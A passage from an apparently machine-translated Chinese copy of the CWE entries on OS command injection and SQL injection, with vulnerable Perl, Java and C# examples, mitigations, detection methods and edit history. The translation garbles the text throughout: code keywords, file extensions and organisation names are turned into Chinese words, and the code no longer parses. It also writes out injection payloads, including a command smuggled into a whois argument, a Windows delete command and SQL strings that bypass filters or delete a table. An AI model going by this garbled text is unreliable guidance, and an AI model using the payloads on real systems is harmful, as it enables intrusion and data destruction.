例如语言:Perl
使用CGI qw(:标准);
$ name =参数('名称');
网路资讯查询美元= " /道路/ /网路资讯查询”;
打印头;
如果(打开(fh美元,“网路资讯查询名称|美元”)){
而(< $ fh >) {
打印escapeHTML ($ _);
打印“< br > \ n”;
}
关闭(fh);
}

假设攻击者提供了一个这样的域名:

(攻击代码)
cwe.mitre.org % 20% 3 b % 20 / bin / ls % 20-l

“% 3 b”序列解码”;“字符,和% 20解码空间。open()语句将过程这样一个字符串:

(结果)
/道路/ /网路资讯查询cwe.mitre.org;/bin/ls - l

因此,攻击者执行/ bin / ls - l命令和获取的列表中的所有文件程序的工作目录。输入可以替换为更危险命令,如安装恶意程序在服务器上。

示例4

下面的例子执行读取一个shell脚本的名字从系统属性。这是第二版本OS命令注入。

(坏的代码)
例如语言:Java
字符串脚本= System.getProperty (“SCRIPTNAME”);
如果(脚本! = null)
System.exec(脚本);

如果攻击者控制了这个属性,那么他们可以修改属性指向一个危险的计划。

示例5

在下面的示例中,一个方法用于地理坐标从纬度和经度格式转换为UTM格式。方法获取输入坐标从用户通过一个HTTP请求并执行一个程序本地应用服务器执行转换。方法通过纬度和经度坐标作为外部程序和命令行选项将执行一些处理检索结果的转换和返回结果UTM坐标。

(坏的代码)
例如语言:Java
coordinateTransformLatLonToUTM公共字符串(字符串坐标)
{
字符串utmCoords =零;
尝试{
字符串latlonCoords =坐标;
运行时rt = Runtime.getRuntime ();
过程执行= rt.exec (“cmd。exe / C实例。exe -“+ latlonCoords);
/ /流程坐标变换的结果

/ /……
}
捕获(异常e) {…}
返回utmCoords;
}

然而,方法不确认坐标输入参数的内容只包含正确格式化的纬度和经度坐标。如果输入坐标没有验证在调用这个方法之前,恶意用户可以执行另一个程序本地应用程序服务器通过添加“&”其次是另一个程序的命令协调字符串的结束。“&”指示Windows操作系统执行另一个程序。

例子6

下面的代码是一个管理web应用程序允许用户启动一个Oracle数据库的备份使用批处理文件包装rman实用程序,然后运行清理。蝙蝠脚本删除一些临时文件。脚本rmanDB。蝙蝠接受一个命令行参数,它指定什么类型的备份执行。因为限制访问数据库,应用程序运行备份作为特权用户。

(坏的代码)
例如语言:Java

字符串btype = request.getParameter (“backuptype”);
字符串cmd =新的字符串(“cmd。exe / K \”
c: \ \ util \ \ rmanDB。蝙蝠”
+ btype +
“c: \ \你\ \ cleanup.bat \“”)

System.Runtime.getRuntime () .exec (cmd);

这里的问题是,这个项目不做任何验证backuptype参数读取用户。通常Runtime.exec()函数不会执行多个命令,但在这种情况下,程序第一次运行cmd。exe壳为了运行多个命令用一个叫Runtime.exec ()。一旦调用shell,它将愉快地执行多个指令通过两个&号分开。如果攻击者通过一个字符串的形式”& del c: \ \ dbms \ \ *。*”,则应用程序将执行这个命令以及其他指定的项目。因为应用程序的性质,它运行所必需的特权与数据库交互,这意味着攻击者将会运行任何命令与特权。

+观察到的例子
参考 描述
OS命令注入在wi - fi路由器,每中钢协KEV利用在野外。
模板功能网络配置管理工具允许操作系统命令注入,每中钢协KEV利用在野外。
链:不当输入验证(CWE-20)在用户参数,导致操作系统命令注入(cwe - 78),利用每中钢协KEV在野外。
规范的操作系统命令的例子注入。CGI程序并不中和“|”元字符当调用一个电话本程序。
语言翻译的邮件函数接受另一个论点是连接到一个字符串中使用危险的popen()调用。由于没有中和这个论点,包括OS命令注入(cwe - 78)和参数注入(cwe - 88)是可能的。
命令执行Web服务器允许使用“|”(管)字符。
FTP客户端不过滤从服务器返回的文件名“|”,允许操作系统命令注入。
在ZIP归档Shell元字符的文件名
远程登录Shell元字符:/ /链接不启动应用程序时妥善处理过程的联系。
操作系统命令注入通过环境变量。
OS命令注入通过https://的url
链:完整denylist OS命令注入
产品允许远程用户通过创建一个文件的路径名包含执行任意命令shell元字符。
+潜在的缓解措施

阶段:体系结构和设计

如果可能的话,使用库调用而不是外部流程重建所需的功能。

阶段:体系结构和设计;操作

策略:沙盒或监狱

运行代码的“监狱”或类似沙箱环境执行严格的流程和操作系统之间的边界。这可能有效地限制哪些文件可以在一个特定的目录或访问哪些命令可以执行的软件。

操作系统的例子包括Unix chroot监狱,AppArmor对,SELinux。在一般情况下,托管代码可能会提供一些保护。例如,java。FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

这可能不是一个可行的解决方案,它只限制对操作系统的影响;应用程序的其余部分可能仍然接受妥协。

应该注意避免cwe - 243和其他相关弱点监狱。

有效性:有限

注意:这种缓解的有效性取决于特定的沙盒或监狱的预防功能使用,只可能有助于减少攻击的范围,比如限制攻击者对特定文件系统的系统调用或限制部分,可以访问。

阶段:体系结构和设计

策略:减少攻击表面

对于任何数据将被用来生成一个命令执行,让尽可能多的数据的外部控制。例如,在web应用程序中,这可能需要将数据存储在会话的状态,而不是发送到客户端在一个隐藏的表单字段。

阶段:体系结构和设计

对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免cwe - 602。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。

阶段:体系结构和设计

策略:库或框架

使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。

例如,考虑使用ESAPI编码控制(REF-45)或类似的工具、库或框架。这些将帮助程序员编码输出的方式不容易错误。

实施阶段:

策略:输出编码

虽然风险使用动态生成的查询字符串,代码,或命令,控制和数据混合在一起,有时它可能是不可避免的。正确引用参数和任何特殊字符转义在这些参数。最保守的方法是逃跑或者过滤不经过极其严格的allowlist的所有字符(如一切不是字母数字或空白)。如果仍然需要一些特殊字符,如空格,每个参数封装在引号转义后/过滤步骤。小心论证注入(cwe - 88)。

实施阶段:

如果要执行的程序允许参数被指定在一个输入文件或标准输入,那么考虑使用模式传递参数,而不是命令行。

阶段:体系结构和设计

策略:参数化

如果可用,使用结构化机制自动执行数据和代码之间的分离。这些机制可以提供相关的引用,编码,自动验证,而不是依赖于开发人员提供此功能在每一个点生成输出。

一些语言提供多种功能,可用于调用命令。在可能的情况下,识别任何函数调用命令shell使用一个字符串,并替换函数,需要个人参数。这些函数通常执行适当的引用和过滤参数。例如,在C语言中,系统()函数接受一个字符串,该字符串包含整个执行命令,而execl (), execve(),和其他需要一个字符串数组,每个参数。在Windows中,CreateProcess()只接受一个命令。在Perl中,如果系统()提供了一组参数,那么它将引用的每个参数。

实施阶段:

策略:输入验证

假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。

不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。

当构建操作系统命令字符串,使用限制严格的allowlists字符集基于请求中的参数的期望值。这将间接限制的范围攻击,但这种技术没有适当的重要输出编码和逃避。

注意,适当的输出编码、逃避和引用是防止OS命令注入最有效的解决方法,尽管输入验证可能提供一些深度防护。这是因为它有效地限制了将出现在输出。输入验证不会总是阻止OS命令注入,尤其是当你需要支持自由格式的文本字段可以包含任意字符。例如,当调用一个邮件程序中,您可能需要允许主题字段包含危险输入”;“和”>“字符,否则需要转义或处理。在这种情况下,剥离的字符可能会降低OS命令注入的风险,但是它会产生不正确的行为,因为主题字段将不会记录为用户的目的。这可能似乎是一个小小的不便,但它可能是更重要的是当程序依赖于结构良好的主题行,以将消息传递给其他组件。

即使你犯了一个错误在你的验证(如100年忘记一个输入字段),适当的编码仍可能会保护你免受喷射的攻击。只要不是做隔离,输入验证仍然是一个有用的技术,因为它可能会大大降低你的攻击面,让你发现一些攻击,并提供其他安全的好处,适当的编码并没有解决。

阶段:体系结构和设计

战略:执行的转换

组接受对象时,如文件名或url,是有限的或已知,从一组固定的输入值创建一个映射(比如数字id)实际的文件名或url,并拒绝所有其他输入。

阶段:操作

策略:编译和构建硬化

运行代码的一个执行自动的环境污染传播,防止使用受污染的任何命令执行变量,比如Perl的“t”开关。这将迫使程序执行验证步骤,消除污染,尽管你必须小心正确验证您的输入,这样你就不会意外危险的输入标记为未染污的(见cwe - 183cwe - 184)。

阶段:操作

策略:环境硬化

运行代码的一个执行自动的环境污染传播,防止使用受污染的任何命令执行变量,比如Perl的“t”开关。这将迫使程序执行验证步骤,消除污染,尽管你必须小心正确验证您的输入,这样你就不会意外危险的输入标记为未染污的(见cwe - 183cwe - 184)。

实施阶段:

确保错误消息只包含最小的细节,目标受众是有用的,没有其他人。消息需要罢工之间的平衡过于神秘的(可以迷惑用户)或过于详细的(可能揭示超过预期)。不应该透露的消息的方法被用来确定错误。攻击者可以使用详细信息完善或优化他们最初的攻击,从而增加成功的机会。

如果必须捕捉到一些细节错误,记录在日志消息,但想想会发生什么,如果日志消息可以被攻击者。高度敏感的信息,如密码永远不应该被保存到日志文件中。

避免不一致的消息可能会意外地提示攻击者对内部状态,如是否存在一个用户帐户。

在OS命令注入,错误信息返回给用户可能揭示是否正在执行一个操作系统命令,并可能正在使用哪个命令。

阶段:操作

策略:沙盒或监狱

使用运行时策略执行创建的allowlist容许命令,然后阻止使用的任何命令allowlist没有出现。技术,如AppArmor对可用。

阶段:操作

防火墙策略:

使用应用程序防火墙,可以检测到攻击这个弱点。它可以是有益的情况下,代码不能固定(因为它是由第三方控制),作为一项紧急预防措施,更全面的软件保证措施被应用,或者提供深度防御。

有效性:温和

注意:应用程序防火墙不可能覆盖所有可能的输入向量。此外,攻击技术可能可以绕过保护机制,比如使用畸形的输入,仍然可以由组件接收处理这些输入。根据功能的不同,应用程序防火墙可能会无意中拒绝或修改合法请求。最后,一些手动工作可能需要定制。

阶段:体系结构和设计;操作

策略:环境硬化

使用所需的最低特权运行您的代码来完成必要的任务(ref - 76]。如果可能的话,创建独立帐户权限有限,只用于一个任务。这样,一个成功的攻击不会立即给攻击者访问其他软件或其环境。例如,数据库应用程序很少需要作为数据库管理员运行,特别是在日常操作。

阶段:操作;实现

策略:环境硬化

使用PHP时,配置应用程序,以便它不使用register_globals。在实现,开发应用程序,以便它不依赖于这个特性,但是小心实现register_globals的模拟等弱点cwe - 95,cwe - 621和类似的问题。
+检测方法

自动静态分析

这个弱点常常可以发现使用自动静态分析工具。许多现代工具使用数据流分析或基于技术来减少假阳性的数量。

自动静态分析可能无法识别在执行适当的输入验证时,导致假阳性——即。警告,没有任何安全后果或需要任何代码更改。

自动静态分析可能无法检测的使用自定义的API函数或第三方库间接调用操作系统命令,导致假阴性——特别是如果API /库代码不可用进行分析。

注意:这不是一个完美的解决方案,因为100%的准确率和覆盖率不可行。

自动动态分析

这个弱点能被探测到的使用动态交互的工具和技术的软件使用大型测试套件和许多不同的输入,如模糊测试(起毛)健壮性测试和故障注入。软件的操作可能慢下来,但它不应该成为不稳定,崩溃,或者产生不正确的结果。

有效性:温和

人工静态分析

因为这个弱点通常并不经常出现在一个软件包,手动白盒技术可以提供足够的代码覆盖率和减少假阳性如果所有可能受到操作可以在有限的时间内评估约束。

有效性:高

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
  • 二进制弱点分析,包括反汇编程序+源代码弱点分析

有效性:高

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:飙升部分

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 模糊测试
  • 基于框架Fuzzer

有效性:飙升部分

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 手工源代码审查(不检查)
成本有效的部分报道:
  • 关注人工抽查,手动分析来源

有效性:高

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器

有效性:高

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。

有效性:高

+功能区域
  • 程序调用
+影响资源
  • 系统进程
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 714年 OWASP 2007年十大类别A3 -恶意文件执行
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 727年 OWASP十大2004类别A6 -注塑缺陷
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 741年 CERT C安全编码标准(2008)第八章-字符和字符串(STR)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 744年 CERT C安全编码标准(2008)第11章-环境(ENV)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 751年 2009年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 801年 2010年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 810年 OWASP十大2010类别A1 -注射
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 845年 CERT甲骨文安全Java编码标准(2011)第二章-输入验证和数据卫生处理(IDS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 864年 2011年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 875年 CERT c++安全编码部分07 -字符和字符串(STR)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 878年 CERT c++安全编码部分10 -环境(ENV)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 884年 CWE横截面
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 929年 OWASP十大2013类别A1 -注射
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 990年 SFP二级集群:污染输入命令
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1027年 OWASP十大2017类别A1 -注射
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1131年 方案》(2016)——安全质量措施
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1134年 SEI CERT甲骨文Java安全编码标准,指南00。输入验证和数据卫生处理(IDS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1165年 SEI CERT 10 C编码标准指导方针。环境(ENV)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1347年 OWASP十大2021类别A03:2021 -注射
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

术语

“OS命令注入”词对不同的人有着不同的意义。对一些人来说,它只指的情况下,攻击者注入命令分隔符为参数application-controlled程序调用。对一些人来说,它指的是任何类型的攻击,可以允许攻击者执行操作系统命令自己的选择。这种用法可能包括不受信任的搜索路径的弱点(cwe - 426),导致应用程序发现和执行一个attacker-controlled程序。更为复杂的是当参数注入(cwe - 88)允许不同的命令行开关或插入命令行选项,如“-”开关,其目的可能是执行后续的参数作为一个命令(这-开关存在于UNIX“查找”命令,例如)。在后者情况下,然而,cwe - 88可以被视为主要的弱点在链cwe - 78

研究的差距

需要更多的调查到OS命令注入变体之间的区别,包括角色与参数注入(cwe - 88)。等效的区别可能存在于其他injection-related SQL注入等问题。
+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 操作系统命令注入
OWASP十大2007 A3 CWE更具体 恶意文件执行
OWASP十大2004 A6 CWE更具体 注塑缺陷
CERT C安全编码 ENV03-C 当调用外部程序清洁环境
CERT C安全编码 ENV33-C CWE更具体 不调用系统()
CERT C安全编码 STR02-C Sanitize数据传递到复杂的子系统
WASC 31日 操作系统命令
CERT甲骨文安全Java编码标准(2011) IDS07-J 不通过不可信,unsanitized数据Runtime.exec()方法
软件故障模式 SFP24 污染输入命令
OMG ASCSM ASCSM -cwe - 78
+引用
(ref - 140)霍格伦德和加里·麦克格劳博士。“利用软件:如何打破代码”。addison - wesley。2004-02-27。<https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>。
ref - 685帕斯卡默。“元字符漏洞”。2008-02-20。<http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>。
[ref - 686]罗伯特钻。“操作系统指挥”。2009 - 06。<http://projects.webappsec.org/OS-Commanding>。
(ref - 687)林肯斯坦和约翰·斯图尔特。“万维网安全常见问题解答”。章:“CGI脚本”。2002-02-04。<http://www.w3.org/Security/Faq/wwwsf4.html>。
(ref - 688)乔丹Dimov Cigital。“Perl脚本的安全问题”。<http://www.cgisecurity.com/lib/sips.html>。
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪恶之十:命令注入。”Page 171. McGraw-Hill. 2010.
(ref - 690)弗兰克·金。“前25系列——排名9 - OS命令注入”。无软件安全研究所。2010-02-24。<http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/>。
REF-45 OWASP。“OWASP企业安全API (ESAPI)项目”。<http://www.owasp.org/index.php/ESAPI>。
(ref - 76)肖恩·巴纳姆和迈克尔Gegick。“最小特权”。2005-09-14。<https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>。
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第八章,“Shell元字符”,425页。1版。艾迪生卫斯理》2006。
(ref - 962)对象管理组织(OMG)。“自动源代码安全措施(ASCSM)”。ascsm - cwe - 78。2016 - 01。<http://www.omg.org/spec/ASCSM/1.0/>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-07-01 肖恩Eidemiller Cigital
添加/更新示范例子
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-08-01 股的分析
添加/更新白盒定义
2008-08-15 Veracode
建议OWASP 2004年排名前十的映射
2008-09-08 CWE内容团队 主教法冠
更新的关系,Other_Notes Taxonomy_Mappings
2008-10-14 CWE内容团队 主教法冠
更新描述
2008-11-24 CWE内容团队 主教法冠
更新Observed_Examples、关系、Taxonomy_Mappings
2009-01-12 CWE内容团队 主教法冠
更新Common_Consequences Demonstrative_Examples,描述、Likelihood_of_Exploit名字,Observed_Examples, Other_Notes, Potential_Mitigations,关系,Research_Gaps Terminology_Notes
2009-03-10 CWE内容团队 主教法冠
更新Potential_Mitigations
2009-05-27 CWE内容团队 主教法冠
更新的名字,Related_Attack_Patterns
2009-07-17 股的分析
改善了White_Box_Definition
2009-07-27 CWE内容团队 主教法冠
更新描述,名称,White_Box_Definitions
2009-10-29 CWE内容团队 主教法冠
更新Observed_Examples,引用
2009-12-28 CWE内容团队 主教法冠
更新Detection_Factors
2010-02-16 CWE内容团队 主教法冠
更新Detection_Factors Potential_Mitigations、引用关系,Taxonomy_Mappings
2010-04-05 CWE内容团队 主教法冠
更新Potential_Mitigations
2010-06-21 CWE内容团队 主教法冠
更新Common_Consequences、描述Detection_Factors、名称、Observed_Examples Potential_Mitigations,引用关系
2010-09-27 CWE内容团队 主教法冠
更新Potential_Mitigations
2010-12-13 CWE内容团队 主教法冠
更新描述,Potential_Mitigations
2011-03-29 CWE内容团队 主教法冠
更新Demonstrative_Examples、描述
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences、关系、Taxonomy_Mappings
2011-06-27 CWE内容团队 主教法冠
更新的关系
2011-09-13 CWE内容团队 主教法冠
更新Potential_Mitigations、引用关系,Taxonomy_Mappings
2012-05-11 CWE内容团队 主教法冠
更新Demonstrative_Examples、引用关系,Taxonomy_Mappings
2012-10-30 CWE内容团队 主教法冠
更新Observed_Examples Potential_Mitigations
2014-02-18 CWE内容团队 主教法冠
更新Applicable_Platforms、Demonstrative_Examples Terminology_Notes
2014-06-23 CWE内容团队 主教法冠
更新的关系
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、关系、Taxonomy_Mappings
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Modes_of_Introduction、引用关系,Taxonomy_Mappings White_Box_Definitions
2018-03-27 CWE内容团队 主教法冠
更新的关系
2019-01-03 CWE内容团队 主教法冠
更新引用关系,Taxonomy_Mappings
2019-06-20 CWE内容团队 主教法冠
更新的关系
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2020-06-25 CWE内容团队 主教法冠
更新Observed_Examples Potential_Mitigations
2020-08-20 CWE内容团队 主教法冠
更新的关系
2020-12-10 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2021-07-20 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-04-28 CWE内容团队 主教法冠
更新Demonstrative_Examples
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新的引用
2023-01-31 CWE内容团队 主教法冠
更新Common_Consequences、描述
+以前的条目名称
改变日期 以前的条目名称
2008-04-11 操作系统命令注入
2009-01-12 未能清理数据转化为一个操作系统命令(又名“OS命令注入”)
2009-05-27 未能保存操作系统命令结构(又名“OS命令注入”)
2009-07-27 未能保存操作系统命令结构(OS命令注入)
2010-06-21 卫生处理不当使用特殊的元素在一个操作系统命令(OS命令注入)

cwe - 89:不当中和一个SQL命令中使用的特殊元素(SQL注入)

弱点ID: 89
抽象:基地
结构:简单的
视图定制的信息:
+描述
产品构造SQL命令的所有或部分使用externally-influenced输入从一个上游组件,但这并不中和或错误地中和特殊元素时,可以修改SQL命令发送到下游组件。
+扩展描述

没有足够的移除或引用用户可控输入的SQL语法生成的SQL查询可能会导致那些被视为输入SQL代替普通用户数据。这可以用来改变查询逻辑绕过安全检查,或者插入额外的语句修改后端数据库,其中可能包括执行系统命令。

SQL注入与数据库驱动的网站已经成为一个常见的问题。缺陷是容易检查出来的,很容易利用,这样,任何网站或产品包连最小的用户群可能是这种企图攻击。这一缺陷取决于这一事实SQL没有实际控制和数据平面之间的区别。

+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 943年 不当中和特殊元素的数据查询逻辑
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 564年 SQL注入:冬眠
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 456年 失踪的初始化一个变量
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“软件开发”(cwe - 699)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 137年 数据中和问题
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 74年 不当中和下游组件使用的特殊元素的输出(注射)
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1019年 验证输入
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”方案及质量的措施(2020)”(CWE-1305)
自然 类型 ID 的名字
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 564年 SQL注入:冬眠
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”中的弱点OWASP十大(2013)”(CWE-928)
自然 类型 ID 的名字
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 564年 SQL注入:冬眠
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计 这个弱点通常出现在丰富的数据在数据库中保存用户输入的应用程序。
实现 实现:造成这一弱点在建筑安全策略的实施。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的患病率(待定)

技术

数据库服务器患病率(待定)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
保密

技术的影响:读取应用程序数据

因为SQL数据库通常保存敏感数据、保密与SQL注入漏洞是一个频繁的问题。
访问控制

技术的影响:旁路保护机制

如果贫穷的SQL命令是用来检查用户名和密码,可以连接到一个系统作为另一个用户没有以前知识的密码。
访问控制

技术的影响:旁路保护机制

如果授权信息保存在一个SQL数据库,它可能会改变这些信息通过成功开发SQL注入漏洞。
完整性

技术的影响:修改应用程序数据

就像它可能会读取敏感信息,也可以修改甚至删除这个信息与SQL注入攻击。
+利用的可能性
+示范例子

示例1

2008年,大量的web服务器使用相同的SQL注入攻击入侵了字符串。这一个字符串对许多不同的程序工作。SQL注入被用来修改网站恶意代码。

示例2

下面的代码动态地构造和执行一个SQL查询,搜索条目匹配指定的名字。查询限制的物品显示给那些老板匹配当前认证的用户的用户名。

(坏的代码)
例如语言:c#

字符串的用户名= ctx.getAuthenticatedUserName ();
字符串查询= " SELECT *从项目所有者= " +用户名+”和itemname = " + itemname。文本+“”;
康涅狄格州sda = new SqlDataAdapter(查询);
DataTable dt = new DataTable ();
sda.Fill (dt);

这段代码的查询执行计划如下:

(信息)
SELECT *从项目业主= <用户名>和itemname = < itemname >;

然而,因为查询构造动态连接一个常数基本查询字符串和用户输入字符串时,只查询正确的行为如果itemName不包含单引号字符。如果攻击者的用户名威利进入字符串:

(攻击代码)
名称”或“一个‘=’

itemName,然后查询变成如下:

(攻击代码)
SELECT *从项目业主=“威利”和itemname =“名称”或“a”=“a”;

添加:

(攻击代码)
或' a ' = '

条件导致WHERE子句总是评估为true,所以查询变成了逻辑上等价于更简单的查询:

(攻击代码)
从项目选择*;

这种简化查询允许攻击者绕过查询只返回项的要求身份验证的用户所拥有的;现在查询返回所有条目存储在项目表,不管他们的指定的所有者。

示例3

这个示例检查的影响不同的恶意值传递到查询构造和执行在前面的例子。

如果攻击者的用户名威利进入字符串:

(攻击代码)
的名称;从项目删除;- - -

itemName,然后查询就以下两个查询:

(攻击代码)
例如语言:SQL
SELECT *从项目业主=“威利”和itemname =“名称”;
从项目删除;
——”

